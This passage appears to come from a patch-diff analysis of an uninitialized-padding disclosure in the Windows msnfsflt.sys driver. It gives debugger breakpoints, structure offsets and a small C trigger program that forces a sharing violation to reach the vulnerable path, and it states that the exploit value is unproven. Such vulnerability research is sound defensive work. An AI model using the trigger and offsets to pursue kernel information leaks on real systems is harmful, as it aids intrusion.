&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;NfsFltTarget&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;file.bin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// exclusive: no sharing&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CREATE_ALWAYS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FILE_ATTRIBUTE_NORMAL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;While &lt;code&gt;hA&lt;/code&gt; remains open, open the same file again with incompatible access:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;NfsFltTarget&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;file.bin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;The second create returns &lt;code&gt;ERROR_SHARING_VIOLATION&lt;/code&gt; (Win32 error 32), NT status:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;STATUS_SHARING_VIOLATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000043&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; compares the status at &lt;code&gt;0x1C0008DA9&lt;/code&gt; and calls &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; at &lt;code&gt;0x1C0008DBA&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Inside &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt;, these calls must succeed:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FltGetFileNameInformation&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FltCreateFile&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FltQueryInformationFile&lt;/code&gt; (twice: &lt;code&gt;FileInternalInformation&lt;/code&gt;, &lt;code&gt;FileStandardInformation&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;MsNfsFltServerCallInformationInitialization&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the server callback is registered and &lt;code&gt;arg2 != 1&lt;/code&gt;, the record is passed to &lt;code&gt;arg1[8](arg1[7], &amp;amp;record)&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Observable confirmation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In a kernel debugger, the bytes at &lt;code&gt;[rbp-0x30]+0x04&lt;/code&gt; and &lt;code&gt;[rbp-0x30]+0x14&lt;/code&gt; are non-zero before the callback in the unpatched build.&lt;/li&gt;
&lt;li&gt;In the patched build, those bytes are zero.&lt;/li&gt;
&lt;li&gt;There is no crash; this is an information-initialization issue, not memory corruption.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note: the ordinary (non-error) post-create activity path builds the &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; &lt;code&gt;var_70&lt;/code&gt; record on every monitored create, so the second fixed site is reached without needing a sharing violation.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive and Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;p&gt;The vulnerability is a &lt;strong&gt;kernel stack information-initialization flaw&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Uninitialized bytes: 8 per record (4 at &lt;code&gt;+0x04&lt;/code&gt;, 4 at &lt;code&gt;+0x14&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The bytes are structure padding filled with stale kernel stack contents from earlier execution in the same thread frame. Their content is not controlled or predictable from the binaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What is established from the binaries&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Both unpatched functions build the record without zeroing it, and the shared builder leaves the two padding gaps unwritten.&lt;/li&gt;
&lt;li&gt;The record is passed to the registered server notification callback (directly in &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt;, or via &lt;code&gt;MsNfsFltNotifyServerOfFileActivity&lt;/code&gt; / &lt;code&gt;MsNfsFltNotifyServerOfVolumeActivity&lt;/code&gt; in &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The patch zeroes the record in both functions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What is NOT established from the binaries&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Whether the registered callback (in the NFS server subsystem) copies, stores, or transmits the padding bytes, and whether they reach any lower-privilege or remote sink. The callback target is not present in these two binaries.&lt;/li&gt;
&lt;li&gt;The semantic value of the leaked bytes. No claim about kernel pointers, return addresses, tokens, or KASLR-relevant content can be justified from this diff.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because downstream observability is not demonstrable here, the severity is capped at Medium and the leak should be treated as an uninitialized-padding disclosure of undetermined exploit value rather than a proven information-disclosure primitive.&lt;/p&gt;
&lt;h3&gt;Mitigations notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;KASLR / SMEP / SMAP / CFG / XFG / HVCI:&lt;/strong&gt; none of these prevent an uninitialized-padding disclosure, and none are bypassed by it on their own. This bug produces no control-flow or write primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stack zeroing:&lt;/strong&gt; fresh kernel stack pages may be zeroed, but frame reuse means stale data can remain in reused slots; the patch removes the dependency on that.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;This section assumes a kernel debugger is attached to the &lt;strong&gt;unpatched&lt;/strong&gt; target with &lt;code&gt;msnfsflt.sys&lt;/code&gt; loaded. Runtime addresses differ from the static &lt;code&gt;0x1c000000&lt;/code&gt;-based addresses because of relocation; use module-relative offsets.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;0: kd&amp;gt; lm m msnfsflt*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Key breakpoints (unpatched offsets)&lt;/h3&gt;
&lt;h4&gt;1. Post-create status check&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp msnfsflt_unpatched+0x8da9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; compares the create status against &lt;code&gt;0xC0000043&lt;/code&gt; here; the &lt;code&gt;jnz&lt;/code&gt; at &lt;code&gt;+0x8dae&lt;/code&gt; and the call to &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; at &lt;code&gt;+0x8dba&lt;/code&gt; follow.&lt;/p&gt;
&lt;h4&gt;2. Vulnerable handler entry&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp msnfsflt_unpatched+0x9c50
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Entry registers: &lt;code&gt;rcx = a1&lt;/code&gt; (instance/server context), &lt;code&gt;rdx = a2&lt;/code&gt;, &lt;code&gt;r8 = a3&lt;/code&gt; (&lt;code&gt;FLT_CALLBACK_DATA*&lt;/code&gt;). After the prologue, &lt;code&gt;rdi = a1&lt;/code&gt;, &lt;code&gt;r14 = a2&lt;/code&gt;, &lt;code&gt;rsi = a3&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;3. Before the record builder call&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp msnfsflt_unpatched+0x9e36
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;rcx = [rbp-0x30]&lt;/code&gt; points to the uninitialized record. Inspect the padding gaps:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dd @rcx+4 l1
dd @rcx+0x14 l1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;4. After the builder returns&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp msnfsflt_unpatched+0x9e3b
dd @rbp-0x30 l0x13
dd @rbp-0x30+4 l1
dd @rbp-0x30+0x14 l1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The two DWORDs at &lt;code&gt;+0x04&lt;/code&gt; and &lt;code&gt;+0x14&lt;/code&gt; retain pre-call stack contents (the builder does not write them).&lt;/p&gt;
&lt;h4&gt;5. Server callback invocation&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp msnfsflt_unpatched+0x9e8b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is the CFG-dispatched call &lt;code&gt;arg1[8](arg1[7], &amp;amp;record)&lt;/code&gt;. &lt;code&gt;rdx = [rbp-0x30]&lt;/code&gt; is the record. The callback pointer is &lt;code&gt;[rdi+0x40]&lt;/code&gt; (loaded into &lt;code&gt;rax&lt;/code&gt; at &lt;code&gt;+0x9e74&lt;/code&gt;), and the gate requires:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[rdi+0x40] != 0     ; a1[8] callback pointer non-NULL
r14 != 1            ; a2 != 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Dump the record passed to the callback:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dd @rdx l0x13
dd @rdx+4 l1
dd @rdx+0x14 l1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Key instruction offsets&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Build / Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;unpatched &lt;code&gt;+0x9e27&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lea rcx, [rbp+60h+var_90]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loads address of the uninitialized record&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;unpatched &lt;code&gt;+0x9e36&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call MsNfsFltServerCallInformationInitialization&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Partially fills the record, leaves &lt;code&gt;+0x04&lt;/code&gt;/&lt;code&gt;+0x14&lt;/code&gt; stale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;unpatched &lt;code&gt;+0x9e74&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov rax, [rdi+40h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loads server callback pointer &lt;code&gt;a1[8]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;unpatched &lt;code&gt;+0x9e87&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lea rdx, [rbp+60h+var_90]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loads &lt;code&gt;&amp;amp;record&lt;/code&gt; for the callback&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;unpatched &lt;code&gt;+0x9e8b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call cs:__guard_dispatch_icall_fptr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CFG-dispatched call of &lt;code&gt;a1[8](a1[7], &amp;amp;record)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;patched &lt;code&gt;+0x9dfe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;memset(&amp;amp;record, 0, 0x4c)&lt;/code&gt; in &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;patched &lt;code&gt;+0xa0b6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Added &lt;code&gt;memset(&amp;amp;var_70, 0, 0x4c)&lt;/code&gt; in &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Structure layout notes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Size&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Flags (constant &lt;code&gt;1&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x04&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Padding: uninitialized in unpatched build&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x08&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;8&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a2&lt;/code&gt; (file id / type indicator)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x10&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Operation flags&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x14&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Padding: uninitialized in unpatched build&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;8&lt;/td&gt;
&lt;td&gt;File information (file internal id)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x20&lt;/code&gt;–&lt;code&gt;0x3F&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;32&lt;/td&gt;
&lt;td&gt;Written zero&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x40&lt;/code&gt;, &lt;code&gt;0x44&lt;/code&gt;, &lt;code&gt;0x48&lt;/code&gt;, &lt;code&gt;0x4C&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4 each&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xFFFFFFFF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger setup from user mode&lt;/h3&gt;
&lt;p&gt;Two creates against the same file: the first takes exclusive access, the second triggers the sharing violation.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;NfsFltTarget&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;leak_trigger.bin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// exclusive sharing&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CREATE_ALWAYS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FILE_ATTRIBUTE_NORMAL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INVALID_HANDLE_VALUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;NfsFltTarget&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;leak_trigger.bin&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetLastError&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INVALID_HANDLE_VALUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hB&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hA&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ERROR_SHARING_VIOLATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Expected debugger observation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;+0x9e3b&lt;/code&gt;, the DWORDs at &lt;code&gt;[rbp-0x30]+0x04&lt;/code&gt; and &lt;code&gt;[rbp-0x30]+0x14&lt;/code&gt; are non-zero.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;+0x9e8b&lt;/code&gt;, the same non-zero bytes are present in &lt;code&gt;@rdx+0x04&lt;/code&gt; and &lt;code&gt;@rdx+0x14&lt;/code&gt;.&lt;/li&gt;
